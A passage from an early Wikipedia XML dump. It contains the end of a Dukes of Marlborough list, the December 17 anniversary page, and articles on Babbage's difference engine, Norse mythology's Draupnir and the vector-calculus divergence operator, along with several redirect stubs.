*[[George Spencer, 4th Duke of Marlborough]] ([[1739]]&amp;ndash;[[1817]])
*[[George Spencer-Churchill, 5th Duke of Marlborough]] ([[1766]]&amp;ndash;[[1840]])
*[[George Spencer-Churchill, 6th Duke of Marlborough]] ([[1793]]&amp;ndash;[[1857]])
*[[John Spencer-Churchill, 7th Duke of Marlborough|John Winston Spencer-Churchill, 7th Duke of Marlborough]] ([[1822]]&amp;ndash;[[1883]])
*[[George Spencer-Churchill, 8th Duke of Marlborough|George Charles Spencer-Churchill, 8th Duke of Marlborough]] ([[1844]]&amp;ndash;[[1892]])
*[[Charles Spencer-Churchill, 9th Duke of Marlborough|Charles Richard Spencer-Churchill, 9th Duke of Marlborough]] ([[1871]]&amp;ndash;[[1934]])
*[[John Spencer-Churchill, 10th Duke of Marlborough|John Albert William Spencer-Churchill, 10th Duke of Marlborough]] ([[1897]]&amp;ndash;[[1972]])
*[[John Spencer-Churchill, 11th Duke of Marlborough|John George Vanderbilt Spencer-Churchill, 11th Duke of Marlborough]] (b. [[1926]])

[[Heir Apparent]]: [[Jamie Spencer-Churchill, Marquess of Blandford|Charles James Spencer-Churchill, Marquess of Blandford]] (b. [[November 24]] [[1955]])&lt;br /&gt;
[[Heir Presumptive]]: [[George Spencer-Churchill, Earl of Sunderland]] (b. [[July 28]] [[1992]])

==See also==
*[[Spencer family]]
*[[Blenheim Palace]]

[[Category:Dukedoms|Marlborough]]

[[de:Herzog von Marlborough]]
[[es:Duque de Marlborough]]
[[ja:マールバラ公]]
[[no:Hertug av Marlborough]]
[[zh:马尔巴罗公爵]]</text>
    </revision>
  </page>
  <page>
    <title>December 17</title>
    <id>8322</id>
    <restrictions>move=sysop</restrictions>
    <revision>
      <id>42119356</id>
      <timestamp>2006-03-03T23:16:32Z</timestamp>
      <contributor>
        <username>Nigosh</username>
        <id>221949</id>
      </contributor>
      <comment>/* Births */ + date wikilink, - redlink</comment>
      <text xml:space="preserve">'''December 17''' is the 351st day of the year (352nd in [[leap year]]s) in the [[Gregorian Calendar]]. There are 14 days remaining.

{{DecemberCalendar}}

==Events==
&lt;!-- Please don't Wikify years that have already been linked (that means you, Skoglund) --&gt;
*[[283]] - [[Pope Gaius|St Gaius]] becomes [[Pope]].
*[[384]] - [[Pope Siricius|St Siricius]] becomes [[Pope]].
*[[1586]] - [[Emperor Go-Yozei of Japan|Emperor Go-Yozei]] becomes [[Emperor of Japan]].
*[[1637]] - [[Shimabara Rebellion]]: Japanese peasants led by [[Amakusa Shiro]] rise against [[daimyo]] [[Matsukura Shigeharu]].
*[[1843]] - [[Charles Dickens]]' ''[[A Christmas Carol]]'' is first published.
*[[1862]] - [[American Civil War]]: General [[Ulysses S. Grant]] issues ''[[General Order No. 11]]'', expelling [[Jews]] from [[Tennessee]], [[Mississippi]], and [[Kentucky]].
*[[1903]] - The [[Wright Brothers]] make the first powered heavier-than-air flight in the ''[[Wright Flyer]]'' at [[Kitty Hawk, North Carolina]]. 
*[[1919]] - [[Uruguay]] becomes a signatory to the [[Buenos Aires Convention|Buenos Aires]] [[copyright]] [[treaty]].
*[[1935]] - First flight of the [[Douglas DC-3]] [[airplane]].
*[[1939]] - [[World War II]]: [[Battle of the River Plate]] - The ''[[Admiral Graf Spee]]'' is scuttled by Captain [[Hans Langsdorff]] outside [[Montevideo]].
*[[1944]] - World War II: [[Battle of the Bulge]] - [[Malmédy massacre]] - [[United States|American]] 285th Field Artillery Observation Battalion [[POWs]] are shot by [[Waffen-SS]] [[Kampfgruppe]] [[Joachim Peiper|Peiper]]. 
*[[1961]] - [[History of Goa]]: [[Operation Vijay]] - [[India]] seizes [[Goa]] from [[Portugal]].
*[[1967]] - [[Prime Minister of Australia]] [[Harold Holt]] disappears while swimming near [[Portsea, Victoria]].
*[[1969]] - [[Project Blue Book]]: The [[United States Air Force|USAF]] closes its study of [[UFOs]], stating that sightings were generated as a result of 'A mild form of mass hysteria, Individuals who fabricate such reports to perpetrate a hoax or seek publicity, Psychopathological persons, and Misidentification of various conventional objects'.
*[[1970]] - [[Polish 1970 protests]]: In [[Gdynia]], soldiers fire at workers emerging from trains, killing hundreds.
*[[1978]] - The [[Workers Party of Jamaica]] is founded by [[Trevor Munroe]].
*[[1981]] - Brigadier General [[James L. Dozier]] is abducted by the [[Red Brigade]] in [[Verona, Italy]].
*[[1989]] - The first episode of ''[[The Simpsons]]'' airs on [[FOX]].
*  1989   - [[Romanian Revolution]]: Protests continue in [[Timisoara]] with rioters breaking into the [[Romanian Communist Party]]'s District Committee building and attempting to set it on fire.
*[[2002]] - [[Second Congo War]]: The Congolese parties of the Inter Congolese Dialogue sign a peace accord which makes provision for transitional governance and legislative and prrresidential elections within two years.
*[[2003]] - [[SpaceShipOne flight 11P]], piloted by [[Brian Binni e]],  makes the first privately-funded manned supersonic flight.
*  2003   - ''[[The Lord of the Rings: The Return of the King]]'' is released worldwide.
*[[2005]] - Anti-[[WTO]] protesters [[riot]] in [[Wan Chai]], [[Hong Kong]]

==Births==
&lt;!-- Please don't Wikify years that have already been linked (that means you, Skoglund) --&gt;
*[[1239]] - [[Kujo Yoritsugu]], Japanese Shogun (d. [[1256]])
*[[1267]] - [[Emperor Go-Uda]] of Japan (d. [[1324]])
*[[1619]] - [[Prince Rupert]], Royalist commander in the English Civil War (d. [[1682]])
*[[1632]] - [[Anthony Wood]], English antiqurian (d. [[1695]])
*[[1685]] - [[Thomas Tickell]], English writer (d. [[1740]])
*[[1706]] - [[Émilie du Châtelet]], French mathematician and physicist (d. [[1749]])
*[[1734]] - [[Maria I of Portugal]], Portuguese Queen (d. [[1816]])
*[[1749]] - [[Domenico Cimarosa]], Italian composer (d. [[1801]])
*[[1770]] - ([[Baptism]]) - [[Ludwig van Beethoven]], German composer (d. [[1827]]) 
*[[1778]] - Sir [[Humphry Davy]], British chemist and physicist (d. [[1829]])
*[[1796]] - [[Thomas Chandler Haliburton]], Canadian novelist (d. [[1865]])
*[[1799]] - [[Titian Peale]], American artist (d. [[1885]])
*[[1807]] - [[John Greenleaf Whittier]], American poet and abolitionist (d. [[1892]])
*[[1830]] - [[Jules de Goncourt]], French publisher (d. [[1870]])
*[[1853]] - [[Émile Roux]], French physician (d. [[1933]])
*[[1859]] - [[Paul César Helleu]], French artist (d. [[1927]])
*[[1873]] - [[Ford Madox Ford]], British writer (d. [[1939]])
*[[1874]] - [[William Lyon Mackenzie King]], tenth [[Prime Minister of Canada]] (d. [[1950]])
*[[1883]] - [[Raimu]], French actor (d. [[1946]])
*[[1887]] - [[Josef Lada]], Czech painter (d. [[1957]])
*[[1888]] - King [[Alexander I of Yugoslavia]] (d. [[1934]])
*[[1892]] - [[Sam Barry]], American basketball coach (d. [[1950]])
*[[1893]] - [[Erwin Piscator]], German film director (d. [[1966]])
*[[1894]] - [[Arthur Fiedler]], American conductor (d. [[1979]])
*[[1901]] - [[Lee Strasberg]], Austrian-born actor and director (d. [[1982]])
*[[1903]] - [[Erskine Caldwell]], American author (d. [[1987]])
*  1903   - [[Ray Noble (musician)|Ray Noble]], British bandleader, composer, arranger and actor (d. [[1978]])
*[[1906]] - [[Simo Häyhä]], Finnish sniper (d. [[2002]])
*[[1908]] - [[Willard Frank Libby]], American chemist and [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[1980]])
*[[1911]] - [[André Claveau]], French singer (d. [[2003]])
*[[1916]] - [[Penelope Fitzgerald]], British writer (d. [[2000]])
*[[1920]] - [[Kenneth E. Iverson]], Canadian computer scientist
*[[1922]] - [[Alan Voorhees]], American engineer and urban planner (d. [[2005]])
*[[1929]] - [[Jacqueline Hill]], British actress (d. [[1993]])
*  1929   - [[William Safire]], American columnist
*[[1930]] - [[Bob Guccione]], American magazine publisher
*  1930   - [[Bob Mathias]], American decathlete and Congressman.
*  1930   - [[Armin Mueller-Stahl]], German actor
*[[1937]] - [[Kerry Packer]], Australian businessman (d. [[2005]])
*[[1938]] - [[Peter Snell]], New Zealander runner
*[[1938]] - [[Carlo Little]], UK influential [[rock and roll]] [[drummer]] (d.[[2005]])
*[[1939]] - [[Eddie Kendricks]], American singer ([[The Temptations]]) (d. [[1992]])
*[[1941]] - [[Gene Clark]], American singer and songwriter ([[The Byrds]]) (d. [[1991]])
*[[1942]] - [[Paul Butterfield]], American harmonica player (d. [[1987]])
*[[1943]] - [[Ron Geesin]], British musician and composer
*[[1944]] - [[Jack L. Chalker]], Canadian novelist
*  1944   - [[Bernard Hill]], British actor
*[[1945]] - [[Ernie Hudson]], American actor
*[[1946]] - [[Eugene Levy]], Canadian actor
*[[1949]] - [[Paul Rodgers]], British singer ([[Free (band)|Free]] &amp; [[Bad Company]])
*[[1951]] - [[Ken Hitchcock]], Canadian ice hockey coach
*[[1955]] - [[Brad Davis (basketball)|Brad Davis]], American basketball player
*[[1956]] - [[Mike Mills]], American bassist ([[R.E.M. (band)|R.E.M.]])
*[[1962]] - [[Rocco Mediate]], American golfer
*[[1966]] - [[Kristiina Ojuland]], Estonian politician
*[[1967]] - [[Vincent Damphousse]], Canadian [[ice hockey]] player
*[[1968]] - [[Paul Tracy]], Canadian race car driver
*[[1970]] - [[Joshua Seth]], American voice actor
*[[1971]] - [[Antoine Rigaudeau]], French basketball player
*  1971   - [[Alan Khan]], South African radio disc jockey
*[[1973]] - [[Paula Radcliffe]], British runner
*[[1975]] - [[Nick Dinsmore]], American professional wrestler
*  1975   - [[Milla Jovovich]], Ukrainian-born actress and model
*[[1976]] - [[Zsanett Égerházi]], Hungarian-born Adult actress and model
*[[1978]] - [[Manny Pacquiao]], Filipino boxer

==Deaths==
&lt;!-- Please don't Wikify years that have already been linked (that means you, Skoglund) --&gt;
*[[942]] - [[William I of Normandy|William Longsword]]
*[[1187]] - [[Pope Gregory VIII]]
*[[1195]] - [[Baldwin V, Count of Hainaut]] (b. [[1150]])
*[[1663]] - Queen [[Nzinga of Ndongo and Matamba]] (b. [[1583]])
*[[1721]] - [[Richard Lumley, 1st Earl of Scarbrough]], English statesman (b. [[1640]])
*[[1830]] - [[Simón Bolívar]], Venezuelan-born [[President of Bolivia]] (b. [[1783]])
*[[1833]] - [[Kaspar Hauser]], German foundling (b. [[1812]])
*[[1897]] - [[Alphonse Daudet]], French writer (b. [[1840]])
*[[1907]] - [[William Thomson, 1st Baron Kelvin]], Irish-born physicist (b. [[1824]])
*[[1909]] - King [[Léopold II of Belgium]] (b. [[1835]])
*[[1917]] - [[Elizabeth Garrett Anderson]], British physician (b. [[1836]])
*[[1933]] - [[Thubten Gyatso, 13th Dalai Lama|Thubten Gyatso]], 13th [[Dalai Lama]] (b. [[1876]])
*[[1957]] - [[Dorothy L. Sayers]], British writer (b. [[1893]])
*[[1964]] - [[Victor Franz Hess]], Austrian-born physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1883]])
*[[1967]] - [[Harold Holt]], Australian Prime Minister, believed drowned, (b. [[1908]])
*  1987   - [[Marguerite Yourcenar]], Belgian novelist (b. [[1903]])
*[[1992]] - [[Dana Andrews]], American actor (b. [[1909]])
*[[1998]] - [[Claudia Benton]], Peruvian child psychologist (b. [[1959]])
*[[1999]] - [[Grover Washington, Jr.]], American saxophonist (b. [[1943]])
*[[2003]] - [[Ed Devereaux]], Australian actor (b. [[1925]])
*  2003   - [[Otto Graham]], American football player (b. [[1921]])
*[[2005]] - [[Jack Anderson]], American journalist (b. [[1922]])

==Holidays and observances==
*[[Roman festivals]] &amp;ndash; [[Saturnalia]], in honor of [[Saturn (mythology)|Saturn]], began.
*[[Calendar of Saints|R.C. Saints]] &amp;ndash; ''O Sapientia'' ; [[Saint Lazarus]]
*[[Greek orthodox church|Greek Orthodox Church]] &amp;ndash; Feast of [[Daniel]] the Prophet
*[[Bhutan]] &amp;ndash; [[National Day]] ([[1907]])
* [[USA]] &amp;ndash; [[Wright Brothers Day]] (by Presidential Proclamation)

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/17 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20051217.html ''The New York Times'': On This Day]
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Dec&amp;day=17 On This Day in Canada]

----

[[December 16]] - [[December 18]] - [[November 17]] - [[January 17]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:17 Desember]]
[[ang:17 Gēolmōnaþ]]
[[ar:17 ديسمبر]]
[[an:17 d'abiento]]
[[ast:17 d'avientu]]
[[bg:17 декември]]
[[be:17 сьнежня]]
[[bs:17. decembar]]
[[ca:17 de desembre]]
[[ceb:Disyembre 17]]
[[cv:Раштав, 17]]
[[co:17 di decembre]]
[[cs:17. prosinec]]
[[cy:17 Rhagfyr]]
[[da:17. december]]
[[de:17. Dezember]]
[[et:17. detsember]]
[[el:17 Δεκεμβρίου]]
[[es:17 de diciembre]]
[[eo:17-a de decembro]]
[[eu:Abenduaren 17]]
[[fo:17. desember]]
[[fr:17 décembre]]
[[fy:17 desimber]]
[[ga:17 Nollaig]]
[[gl:17 de decembro]]
[[ko:12월 17일]]
[[hr:17. prosinca]]
[[io:17 di decembro]]
[[id:17 Desember]]
[[ia:17 de decembre]]
[[is:17. desember]]
[[it:17 dicembre]]
[[he:17 בדצמבר]]
[[jv:17 Desember]]
[[ka:17 დეკემბერი]]
[[csb:17 gòdnika]]
[[ku:17'ê berfanbarê]]
[[la:17 Decembris]]
[[lt:Gruodžio 17]]
[[lb:17. Dezember]]
[[hu:December 17]]
[[mk:17 декември]]
[[ms:17 Disember]]
[[nap:17 'e dicembre]]
[[nl:17 december]]
[[ja:12月17日]]
[[no:17. desember]]
[[nn:17. desember]]
[[oc:17 de decembre]]
[[os:17 декабры]]
[[pl:17 grudnia]]
[[pt:17 de Dezembro]]
[[ro:17 decembrie]]
[[ru:17 декабря]]
[[se:Juovlamánu 17.]]
[[sco:17 December]]
[[sq:17 Dhjetor]]
[[scn:17 di dicèmmiru]]
[[simple:December 17]]
[[sk:17. december]]
[[sl:17. december]]
[[sr:17. децембар]]
[[fi:17. joulukuuta]]
[[sv:17 december]]
[[tl:Disyembre 17]]
[[tt:17. Dekäber]]
[[te:డిసెంబర్ 17]]
[[th:17 ธันวาคม]]
[[vi:17 tháng 12]]
[[tr:17 Aralık]]
[[uk:17 грудня]]
[[wa:17 di decimbe]]
[[war:Disyembre 17]]
[[zh:12月17日]]
[[pam:Disiembri 17]]</text>
    </revision>
  </page>
  <page>
    <title>Determinant mathematics</title>
    <id>8323</id>
    <revision>
      <id>15906329</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Determinant]]
</text>
    </revision>
  </page>
  <page>
    <title>Difference engine</title>
    <id>8324</id>
    <revision>
      <id>41309239</id>
      <timestamp>2006-02-26T13:00:56Z</timestamp>
      <contributor>
        <username>TimPope</username>
        <id>203786</id>
      </contributor>
      <minor />
      <comment>Category:English inventions</comment>
      <text xml:space="preserve">:''For the novel by Bruce Sterling and William Gibson, see [[The Difference Engine]]''

A '''difference engine''' is a historical, mechanical special-purpose [[computer]] designed to tabulate [[polynomial|polynomial functions]]. Since [[logarithm|logarithmic]] and [[trigonometric function]]s can be approximated by polynomials, such a machine is more general than it appears at first.

[[Image:BabbageDifferenceEngine.jpg|thumb|right|Part of Babbage's Difference engine, assembled after his death by Babbage's son, using parts found in his laboratory.]]

==History==
The first of these devices was conceived in 1786 by [[J. H. Mueller]]. It was never built. 

Difference engines were forgotten and then rediscovered in 1822 by [[Charles Babbage]], who proposed it in a paper to the [[Royal Astronomical Society]] entitled &quot;Note on the application of machinery to the computation of astronomical and mathematical tables.&quot;[http://www-gap.dcs.st-and.ac.uk/~history/Mathematicians/Babbage.html] This machine used the decimal number system and was powered by cranking a handle. The [[British government]] initially financed the project, but withdrew funding when Babbage repeatedly asked for more money whilst making no apparent progress on building the machine. Babbage went on to design his much more general [[analytical engine]] but later produced an improved difference engine design (his &quot;Difference Engine No. 2&quot;) between 1847 and 1849. Inspired by Babbage's difference engine plans, [[Per Georg Scheutz]] built several difference engines from 1855 onwards; one was sold to the British government in 1859. [[Martin Wiberg]] improved Scheutz's construction but used his device only for producing and publishing printed [[logarithm]]ic tables.

Based on Babbage's original plans, the [[London Science Museum]] constructed a working Difference Engine No. 2 from 1989 to 1991, under Doron Swade, the then Curator of Computing. This was to celebrate the 200th anniversary of Babbage's birth. In 2000, the [[computer printer|printer]] which Babbage originally designed for the difference engine was also completed. The conversion of the original design drawings into drawings suitable for engineering manufacturers' use revealed some minor errors in Babbage's design (introduced by accident or perhaps as a protection against unauthorized use), which had to be corrected. Once completed, both the engine and its printer worked flawlessly, and still do. The difference engine and printer were constructed to tolerances achievable with [[19th century]] technology, resolving a long-standing debate whether Babbage's design would actually have worked. (One of the reasons formerly advanced for the non-completion of Babbage's engines had been that engineering methods were insufficiently developed in the Victorian era.)

==Method of differences==
[[Image:050114_2529_difference.jpg|thumb|220px|The London Science Museum's difference engine, built from Babbage's design.]]
The principle of a difference engine is [[Isaac Newton|Newton]]'s [[Newton's method|method]] of differences. It may be illustrated with a small example. Consider the quadratic [[polynomial]]
:''p''(''x'') = 2''x''&lt;sup&gt;2&lt;/sup&gt; &amp;minus; 3''x'' + 2
and suppose we want to tabulate the values ''p''(0), ''p''(0.1), ''p''(0.2), ''p''(0.3), ''p''(0.4) etc. The table below is constructed as follows: the first column contains the values of the polynomial, the second column contains the differences of the two left neighbors in the first column, and the third column contains the differences of the two neighbors in the second column:

&lt;table border=1&gt;
&lt;tr&gt;
&lt;td&gt;''p''(0)=2.0&lt;/td&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;2.0&amp;minus;1.72=0.28&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''p''(0.1)=1.72&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;0.28&amp;minus;0.24=0.04&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;1.72&amp;minus;1.48=0.24&lt;/td&gt;
&lt;tr&gt;
&lt;td&gt;''p''(0.2)=1.48&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;0.24&amp;minus;0.20=0.04&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;1.48&amp;minus;1.28=0.20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''p''(0.3)=1.28&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;0.20&amp;minus;0.16=0.04&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;1.28&amp;minus;1.12=0.16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;''p''(0.4)=1.12&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

Notice how the values in the third column are constant. This is no coincidence. In fact, if you start with any polynomial of degree ''n'', the column number ''n'' + 1 will always be constant. This crucial fact makes the method work, as we will see next.

We constructed this table from the left to the right, but now we can continue it from the right to the left in order to compute more values of our polynomial.

To calculate ''p''(0.5) we use the values from the lowest diagonal. We start with the rightmost column value of 0.04. Then we continue the second column by subtracting 0.04 from 0.16 to get 0.12. Next we continue the first column by taking its previous value, 1.12 and subtracting the 0.12 from the second column. Thus ''p''(0.5) is 1.12-0.12 = 1.0. In order to compute ''p''(0.6), we iterate the same algorithm on the ''p''(0.5) values: take 0.04 from the third column, subtract that from the second column's value 0.12 to get 0.08, then subtract that from the first column's value 1.0 to get 0.92, which is ''p''(0.6). 

This process may be continued [[ad infinitum]]. The values of the polynomial are produced without ever having to multiply. A difference engine only needs to be able to subtract. From one loop to the next, it needs to store 2 numbers in our case (the last elements in the first and second columns); if we wanted to tabulate polynomials of degree ''n'', we'd need enough storage to hold ''n'' numbers.

Babbage's difference engine No. 2, finally built in 1991, could hold 7 numbers of 31 decimal digits each and could thus tabulate 7th degree polynomials to that precision. The best machines from Scheutz were able to store 4 numbers with 15 digits each.

==See also==
*[[Per Georg Scheutz]]
*[[Martin Wiberg]]
*[[Charles Babbage]]
*[[Pinwheel calculator]]

==External links==
*[http://www.sciencemuseum.org.uk/on-line/babbage/ The London Science Museum exhibition on the Difference Engine]
*[http://www.meccano.us/difference_engines/rde_1/ Meccano Difference Engine]
*[http://acarol.woz.org/ Difference Engine in Lego]

[[Category:Mathematical tools]]
[[Category:History of computing]]
[[Category:Early computers]]
[[Category:English inventions]]
[[Category:One-of-a-kind computers]]
[[Category:Mechanical calculators]]

[[de:Differenzmaschine]]
[[ru:Разностная машина Чарльза Бэббиджа]]
[[fi:Differenssikone]]
[[ja:階差機関]]</text>
    </revision>
  </page>
  <page>
    <title>Draupnir</title>
    <id>8326</id>
    <revision>
      <id>39628900</id>
      <timestamp>2006-02-14T20:05:02Z</timestamp>
      <contributor>
        <username>Haukurth</username>
        <id>16226</id>
      </contributor>
      <comment>Various changes. Moving Final Fantasy item to talk page.</comment>
      <text xml:space="preserve">'''Draupnir''' is a golden arm ring possessed by [[Odin]], the highest god in [[Norse mythology]]. The ring was a source of endless wealth, since each ninth morning it had spawned eight more gold rings just like itself (but apparently without the spawning ability).  Draupnir was forged by the [[Norse dwarves|dwarven]] brothers [[Brokk]] and [[Sindri (dwarf)|Sindri]], sons of [[Ivaldi]]. Its name means ''The Dropper'' in English.

The ring was placed by Odin on the funeral pyre of his son [[Baldr]]:

:''Odin laid upon the pyre the gold ring called Draupnir; this quality attended it: that every ninth night there fell from it eight gold rings of equal weight.'' (from the ''[[Gylfaginning]]'').

The ring was subsequently retrieved by [[Hermóðr]]. It was offered as a gift by [[Freyr]]'s servant [[Skírnir]] in the wooing of [[Gerd]], which is described in the poem ''[[Skírnismál]]''.

'''Draupnir''' is also the name of a dwarf, mentioned in the ''[[Völuspá]]''.

{{NorseMythology}}

[[Category:Artifacts in Norse mythology]]
[[Category:Rings]]

[[da:Draupner]]
[[de:Draupnir]]
[[el:Ντράουπνιρ]]
[[es:Draupnir]]
[[hr:Draupnir]]
[[it:Draupnir]]
[[ja:ドラウプニル]]
[[nn:Draupner]]
[[ru:Драупнир]]
[[sv:Draupner]]</text>
    </revision>
  </page>
  <page>
    <title>Dromi</title>
    <id>8327</id>
    <revision>
      <id>15906333</id>
      <timestamp>2004-08-22T07:58:17Z</timestamp>
      <contributor>
        <username>Glenn</username>
        <id>9232</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Fenrisulfr]]</comment>
      <text xml:space="preserve">#REDIRECT [[Fenrisulfr]]</text>
    </revision>
  </page>
  <page>
    <title>Divergence</title>
    <id>8328</id>
    <revision>
      <id>39162494</id>
      <timestamp>2006-02-11T03:10:10Z</timestamp>
      <contributor>
        <username>Oleg Alexandrov</username>
        <id>153314</id>
      </contributor>
      <comment>reword</comment>
      <text xml:space="preserve">{{otheruses}}
In [[vector calculus]],  the '''divergence''' is an operator that measures a [[vector field]]'s tendency to originate from or converge upon a given point. For instance, for a [[vector field]] that denotes the [[velocity]] of water flowing in a draining [[bathtub]], the divergence would have a negative value over the drain because the water vanishes there (if we only consider two [[dimension]]s); away from the drain the divergence would be zero, since there are no other sinks or sources.

A vector field which has zero divergence everywhere is called [[solenoidal vector field|solenoidal]]. 

== Definition ==

Let  ''x, y, z'' be a system of [[Cartesian coordinates]] on  a 3-dimensional [[Euclidean space]], and let '''i''',&amp;nbsp;'''j''',&amp;nbsp;'''k''' be the corresponding [[Basis (linear algebra)|basis]] of [[unit vector]]s. 

The divergence of a [[continuous function|continuous]]ly [[differentiable]] [[vector field]] '''F''' = ''F&lt;sub&gt;1&lt;/sub&gt;'' '''i''' + ''F&lt;sub&gt;2&lt;/sub&gt;'' '''j''' + ''F&lt;sub&gt;3&lt;/sub&gt;'' '''k''' is defined to be the [[scalar]]-valued function:

:&lt;math&gt;\operatorname{div}\,\mathbf{F} = \nabla\cdot\mathbf{F}
=\frac{\partial F_1}{\partial x}
+\frac{\partial F_2}{\partial y}
+\frac{\partial F_3}{\partial z}. &lt;/math&gt;

Although expressed in terms of coordinates, the result is  invariant under [[Orthogonal matrix|orthogonal transformation]]s, as the physical interpretation suggests.

The common notation for the divergence '''&amp;nabla;'''·'''F''' is a convenient mnemonic, where the dot denotes something just reminiscent of the [[dot product]]: take the components of &amp;nabla; (see [[del]]), apply them to the components of '''F''', and sum the results.

== Physical interpretation ==

In physical terms, the divergence of a vector field is the extent to which the vector field flow behaves like a source or a sink at a given point. Indeed, an alternative, but logically equivalent definition, gives the divergence as the [[derivative]] of the [[net flow]] of the vector field across the surface of a small [[sphere]] relative to the [[volume]] of the sphere. To wit,

:&lt;math&gt;( \operatorname{div}\,\mathbf{F}) (p) = 
\lim_{r \rightarrow 0}
\int_{S(r)} {\mathbf{F}\cdot\mathbf{n}dS \over \frac{4}{3} \pi r^3 }&lt;/math&gt;

where ''S''(''r'') denotes the sphere of radius ''r'' about a point ''p'' in '''R'''&lt;sup&gt;3&lt;/sup&gt;, and the integral is a [[surface integral]] taken with respect to '''n''', the normal to that sphere.

In light of the physical interpretation, a vector field with constant zero divergence is called ''incompressible'' &amp;ndash; in this case, no net flow can occur across any closed surface.

The intuition that the sum of all sources minus the sum of all sinks should give the net flow outwards of a region is made precise by the [[divergence theorem]].

== Properties ==

The following properties can all be derived from the ordinary differentiation rules of [[calculus]]. Most importantly, the divergence is a [[linear operator]], i.e.

:&lt;math&gt;\operatorname{div}( a\mathbf{F} + b\mathbf{G} ) 
= a\;\operatorname{div}( \mathbf{F} ) 
+ b\;\operatorname{div}( \mathbf{G} ) &lt;/math&gt;

for all vector fields '''F''' and '''G''' and all [[real number]]s ''a'' and ''b''.

There is a [[product rule]] of the following type: if &amp;phi; is a scalar valued function and '''F''' is a vector field, then

:&lt;math&gt;\operatorname{div}(\varphi \mathbf{F}) 
= \operatorname{grad}(\varphi) \cdot \mathbf{F} 
+ \varphi \;\operatorname{div}(\mathbf{F}), &lt;/math&gt;

or in more suggestive notation

:&lt;math&gt;\nabla\cdot(\varphi \mathbf{F}) 
= (\nabla\varphi) \cdot \mathbf{F} 
+ \varphi \;(\nabla\cdot\mathbf{F}). &lt;/math&gt;

Another product rule for the [[cross product]] of two vector fields '''F''' and '''G''' in three dimensions involves the [[curl]] and reads as follows:

:&lt;math&gt;\operatorname{div}(\mathbf{F}\times\mathbf{G}) 
= \operatorname{curl}(\mathbf{F})\cdot\mathbf{G} 
\;-\; \mathbf{F} \cdot \operatorname{curl}(\mathbf{G}),&lt;/math&gt;

or

:&lt;math&gt;\nabla\cdot(\mathbf{F}\times\mathbf{G})
= (\nabla\times\mathbf{F})\cdot\mathbf{G}
- \mathbf{F}\cdot(\nabla\times\mathbf{G}).&lt;/math&gt;

The [[Laplacian]] of a [[scalar field]] is the divergence of the field's gradient.

The divergence of the curl of any vector field (in three dimensions) is constant and equal to zero. Conversely, if you have a vector field '''F''' with zero divergence defined on a ball in '''R'''&lt;sup&gt;3&lt;/sup&gt;, say, then there exists some vector field '''G''' on the ball with '''F''' = curl('''G'''). For regions in '''R'''&lt;sup&gt;3&lt;/sup&gt; more complicated than balls, this latter statement might not be true anymore. Indeed, the degree of ''failure'' of the truth of the statement, measured by the [[homology (mathematics)|homology]] of the [[chain complex]]

:&lt;math&gt;    \{\mbox{scalar fields on }U\} \;&lt;/math&gt;
::&lt;math&gt; \to\{\mbox{vector fields on }U\} \;&lt;/math&gt;
:::&lt;math&gt; \to\{\mbox{vector fields on }U\} \;&lt;/math&gt;
::::&lt;math&gt; \to\{\mbox{scalar fields on }U\} \;&lt;/math&gt;  

(where the first map is the gradient, the second is the curl, the third is the divergence) serves as a nice quantification of the complicatedness of the underlying region ''U''. These are the beginnings and main motivations of [[de Rham cohomology]].

==Generalizations==

The divergence of a vector field can be defined in any number of dimensions. If 
:&lt;math&gt;\mathbf{F}=(F_1, F_2, \dots, F_n),&lt;/math&gt; 

define 

:&lt;math&gt;\operatorname{div}\,\mathbf{F} = \nabla\cdot\mathbf{F}
=\frac{\partial F_1}{\partial x_1}
+\frac{\partial F_2}{\partial x_2}+\cdots 
+\frac{\partial F_n}{\partial x_n}. &lt;/math&gt;

For any ''n'', the divergence is a linear operator, and it satisfies the &quot;product rule&quot;

:&lt;math&gt;\nabla\cdot(\varphi \mathbf{F}) 
= (\nabla\varphi) \cdot \mathbf{F} 
+ \varphi \;(\nabla\cdot\mathbf{F}). &lt;/math&gt;

for any scalar-valued function &amp;phi;.

==See also ==
* [[Gradient]]
* [[Curl]]
* [[Vector calculus]]
* [[Nabla in cylindrical and spherical coordinates]]
* [[Divergence theorem]]
* [[Non-orthogonal analysis]]

[[Category:Vector calculus]]

[[ca:Divergència]]
[[de:Divergenz (Mathematik)]]
[[ko:다이버전스]]
[[it:Divergenza]]
[[hu:Divergencia]]
[[nl:Divergentie (wiskunde)]]
[[ja:発散]]
[[pl:Dywergencja]]
[[ru:Дивергенция]]
[[sv:Divergens]]
[[tr:Diverjans]]
[[zh:散度]]</text>
    </revision>
  </page>
  <page>
    <title>Drug/Narcotics</title>
    <id>8330</id>
    <revision>
      <id>15906336</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>moved to [[narcotic]]</comment>
      <text xml:space="preserve">#REDIRECT [[Narcotic]]</text>
    </revision>
  </page>
  <page>
    <title>Drug Mix</title>
    <id>8331</id>
    <revision>
      <id>36637007</id>
